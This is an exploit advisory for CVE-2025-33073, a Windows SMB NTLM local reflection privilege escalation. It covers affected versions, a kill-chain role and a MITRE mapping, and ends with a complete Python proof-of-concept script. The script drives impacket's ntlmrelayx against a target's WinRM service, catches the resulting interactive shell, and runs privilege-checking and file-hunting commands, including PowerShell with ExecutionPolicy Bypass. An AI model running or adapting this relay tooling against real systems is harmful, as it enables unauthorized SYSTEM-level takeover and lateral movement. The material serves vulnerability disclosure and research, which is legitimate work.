=============================================================================================================================================
| # Title     : Windows 11 V 24H2 SMB Local Privilege Escalation via NTLM Local Reflection                                                  |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
| # Vendor    : System built‑in component. No standalone download available.                                                                 |
=============================================================================================================================================

[+] References :  https://packetstorm.news/files/id/214224/ & 	CVE-2025-33073

[+] Summary    :  CVE‑2025‑33073 is a Microsoft Windows SMB privilege escalation vulnerability that abuses local NTLM reflection behavior within the SMB stack.
                  The vulnerability does not enable remote exploitation by itself, but it breaks key security assumptions in post‑compromise scenarios, especially those involving NTLM authentication and SMB Signing.
                  In affected Windows versions, an attacker who already has local code execution or an authenticated foothold can trigger SMB local loopback authentication in a way that allows NTLM credentials 
				  to be reflected back to the same host, potentially resulting in elevated privileges (up to SYSTEM).
                  This vulnerability is particularly dangerous because it can invalidate the protection normally provided by SMB Signing, 
				  but only in a local context, making it highly relevant for post‑exploitation, lateral movement preparation, and privilege escalation chains.

[+] Windows Versions Impacted by CVE‑2025‑33073

The vulnerability affects several client and server editions of Windows that were unpatched prior to Microsoft’s June2025 security update.

Windows 10 Versions (before_patch):

Windows 10 Version 1507

Windows 10 Version 1607

Windows 10 Version 1809

Windows 10 Version 21H2

Windows 10 Version 22H2

[+] All with builds earlier than their respective patched builds listed by Microsoft.

Windows 11 Versions (before_patch):

Windows 11 Version 22H2

Windows 11 Version 23H2

Windows 11 Version 24H2

[+] Affected until the patched builds released in mid‑2025.

Windows Server Editions (before_patch):

Windows Server 2008 (SP2 & R2 SP1)

Windows Server 2012 & 2012 R2

Windows Server 2016

Windows Server 2019

Windows Server 2022 (multiple branch builds)

Windows Server 2025 (24H2)

[+] All with builds lower than those patched by Microsoft in June2025.

[+] Vulnerability Type: Privilege Escalation

[+] Component: Microsoft Windows SMB

[+] Attack Vector: Local / Same‑host

[+] Authentication Required: Yes (local context)

[+] Remote Exploitation     :  No

[+] Post‑Exploitation Impact:  High

[+] Role in a Professional Kill Chain :

CVE‑2025‑33073 fits after initial access, not as an entry point:

[+] Initial Access :

Phishing, credential theft, NTLM relay, or local code execution

[+] Execution :

Attacker gains user‑level shell or service execution

[+] Privilege Escalation :

CVE‑2025‑33073 leveraged

NTLM Local Reflection enables elevation (SYSTEM context)

[+] Credential Access :

High‑privilege tokens and credentials become accessible

[+] Lateral Movement :

Elevated access enables broader network compromise

[+] Persistence / Impact :

Durable control of the system or domain resources

The vulnerability amplifies existing access rather than creating it.

[+] MITRE ATT&CK Mapping :

- Primary Techniques

TA0004 – Privilege Escalation

T1068 – Exploitation for Privilege Escalation

- Secondary / Contextual Techniques

TA0006 – Credential Access

T1557 – Adversary‑in‑the‑Middle (Local / Loopback Context)

TA0008 – Lateral Movement (indirectly enabled)

[+] Relationship to NTLM Relay :

Aspect	                                Relation

Classic NTLM Relay (Network)	          No
SMB Signing Bypass (Remote)	              No
NTLM Local Reflection	                 Yes
Post‑Auth Privilege Escalation	         Yes

[+] Key Insight:

CVE‑2025‑33073 does not create NTLM Relay attacks, but it allows NTLM‑based protections to be bypassed locally, even when SMB Signing is enabled.

[+] Security Impact :

Undermines trust in SMB Signing within local contexts

Enables SYSTEM‑level privilege escalation

Increases blast radius of otherwise “contained” compromises

[+] Especially dangerous in:

Red‑team post‑exploitation

Breach escalation scenarios

Incident response underestimation cases

[+] Final Assessment :

CVE‑2025‑33073 is a force‑multiplier vulnerability.
On its own, it is not an entry vector—but in the hands of an attacker with limited access, it can turn a foothold into full system compromise, making it a critical post‑exploitation risk in modern Windows environments.

[+] Usage : python poc.py 

[+] POC :

import os
import sys
import subprocess
import socket
import re
import logging
import signal
import time
import threading
from datetime import datetime
from queue import Queue, Empty


logger = logging.getLogger("Orchestrator")
if not logger.handlers:
    logger.setLevel(logging.INFO)
    class SafeFormatter(logging.Formatter):
        def format(self, record):
            msg = super().format(record)

            return re.sub(r'\x1b\[[0-9;]*m', '', "".join(ch for ch in msg if ch.isprintable() or ch in "\n\r\t"))
    
    fh = logging.FileHandler(f"relay_orchestrator_{datetime.now().strftime('%m%d_%H%M%S')}.log")
    fh.setFormatter(SafeFormatter('%(asctime)s [%(levelname)s] %(message)s'))
    logger.addHandler(fh)
    ch = logging.StreamHandler(); ch.setFormatter(logging.Formatter('%(message)s')); logger.addHandler(ch)

def log_info(msg): logger.info(f"\033[0;34m[*] {msg}\033[0m")
def log_success(msg): logger.info(f"\033[0;32m[+] {msg}\033[0m")
def log_err(msg): logger.error(f"\033[0;31m[x] {msg}\033[0m")

def check_smb_signing_native(target_ip):

    log_info(f"Checking SMB Signing (Native): {target_ip}...")
    try:
        from impacket.smbconnection import SMBConnection
        # Attempt connection to extract signing status
        smb = SMBConnection("*", target_ip, sess_port=445, timeout=5)
        is_required = smb.isSigningRequired()
        smb.logoff()
        return is_required
    except Exception as e:
        log_err(f"SMB Check failed (Port closed or host unreachable): {e}")
        return None

def post_exploit_analysis(port):

    ps_payload = (
        "$sid = whoami /groups;"
        "if ($sid -match 'S-1-5-18') { 'STATUS: HIGH INTEGRITY (SYSTEM)' } else { 'STATUS: MEDIUM/LOW PRIVILEGE' };"
        "Get-ChildItem -Path 'C:\\Users\\*\\Desktop\\*' -Include '*flag*','proof.txt' -File -ErrorAction SilentlyContinue | % { $_.FullName }"
    )
    cmds = f"whoami & hostname\npowershell -NoProfile -ExecutionPolicy Bypass -Command \"{ps_payload}\"\nexit\n"
    
    try:
        with socket.create_connection(("127.0.0.1", int(port)), timeout=10) as s:
            s.sendall(cmds.encode('utf-8'))
            s.settimeout(3)
            buffer = b""
            try:
                while True:
                    chunk = s.recv(8192)
                    if not chunk: break
                    buffer += chunk
            except socket.timeout: pass

            try:
                decoded = buffer.decode('utf-16le') if b'\x00' in buffer else buffer.decode('utf-8')
            except UnicodeDecodeError:
                decoded = buffer.decode('utf-8', errors='ignore')
                
            log_success(f"Session Analysis Results:\n{decoded.strip()}")
    except Exception as e:
        log_err(f"Failed to interact with session on port {port}: {e}")

def cleanup_process(proc):
    """Ensures clean termination of the process tree in Windows and Unix."""
    log_info("Cleaning up active processes...")
    try:
        if os.name == 'nt':

            subprocess.run(['taskkill', '/F', '/T', '/PID', str(proc.pid)], capture_output=True)
        else:
            os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            proc.wait(timeout=5)
    except Exception:
        proc.kill()

def run_orchestrator(target_ip):

    port_regex = re.compile(r"Started interactive shell on (?:127\.0\.0\.1|0\.0\.0\.0):(\d+)", re.I)
    
    relay_cmd = [sys.executable, "-m", "impacket.examples.ntlmrelayx", 
                 "-smb2support", "-t", f"winrms://{target_ip}", "-i"]
    
    kwargs = {'creationflags': subprocess.CREATE_NEW_PROCESS_GROUP} if os.name == 'nt' else {'preexec_fn': os.setsid}

    try:
        proc = subprocess.Popen(relay_cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1, **kwargs)
        q = Queue()
        
        def enqueue_output(out, queue):
            try:
                for line in iter(out.readline, ''):
                    queue.put(line)
            except Exception: pass
            finally: out.close()

        t = threading.Thread(target=enqueue_output, args=(proc.stdout, q))
        t.daemon = True
        t.start()

        log_info(f"Orchestrator active.. waiting for forced NTLM auth for {target_ip}")
        start_time = time.time()

        while time.time() - start_time < 600: 
            try:
                line = q.get_nowait()
                if any(x in line for x in ["Relaying", "Authenticating", "127.0.0.1"]):
                    print(f"\033[0;34m[RELAY]\033[0m {line.strip()}")
                
                match = port_regex.search(line)
                if match:
                    found_port = match.group(1)
                    log_success(f"Active session detected! Allocated Port: {found_port}")
                    post_exploit_analysis(found_port)
                    break
            except Empty:
                time.sleep(0.1)
                if proc.poll() is not None: break

        cleanup_process(proc)
        t.join(timeout=1)
        
    except Exception as e:
        log_err(f"Orchestrator management error: {e}")

def main():
    try:
        # Check for Impacket dependency
        import impacket
        
        print("\033[0;36m--- NTLM Relay Orchestrator (English Edition) ---\033[0m")
        target_ip = input("[>] Target IP: ").strip()
        if not re.match(r"^\d{1,3}(\.\d{1,3}){3}$", target_ip):
            log_err("Invalid IP format.")
            return

        signing_req = check_smb_signing_native(target_ip)
        if signing_req is True:
            log_err("SMB Signing is REQUIRED; Relay will likely fail (unless CVE-2025-33073 Local Reflection occurs).")
            if input("[!] Do you want to proceed anyway? (y/n): ").lower() != 'y': return
        elif signing_req is False:
            log_success("SMB Signing is NOT REQUIRED. Target is vulnerable to Relay.")

        run_orchestrator(target_ip)

    except KeyboardInterrupt:
        print("\n[*] Script aborted by user.")
        sys.exit(0)
    except ImportError:
        log_err("Impacket library missing. Install it via: pip install impacket")

if __name__ == "__main__":
    main()
	
	
Greetings to :============================================================
jericho * Larry W. Cashdollar * r00t * Malvuln (John Page aka hyp3rlinx)*|
==========================================================================